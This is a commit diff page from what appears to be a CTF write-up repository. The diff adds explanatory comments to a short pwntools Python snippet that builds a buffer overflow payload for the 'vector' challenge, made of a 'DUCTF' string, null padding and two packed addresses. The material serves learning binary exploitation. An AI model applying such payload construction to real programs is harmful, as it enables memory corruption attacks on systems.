Skip to content

Commit 4f49b10

Browse files
committed
add explanations
1 parent f745ed7 commit 4f49b10

File tree

1 file changed

+5
-5
lines changed

1 file changed

+5
-5
lines changed

solve/vector/index.md

+5-5
Original file line numberDiff line numberDiff line change
@@ -210,11 +210,11 @@ This is CTF framework for binary exploitation, its only "disadvantage" is it has
210210

211211
=== "python script"
212212
```py
213-
paylod = flat(
214-
b'DUCTF\x00',
215-
'\x00' * 10,
216-
pack(0x4051e0),
217-
pack(0x4051e0 + 5)
213+
paylod = flat( # concatenate all elements one after another
214+
b'DUCTF\x00', # first first bytes of the buffer is string DUCTF
215+
'\x00' * 10, # fill in remaining 10 character with null bytes
216+
pack(0x4051e0), # address 0x4051e0 converted to 8 bytes in little endian format
217+
pack(0x4051e0 + 5) # address 0x4051e5 converted to 8 bytes in little endian format
218218
)
219219
print(hexdump(paylod))
220220
```

0 commit comments

Comments
 (0)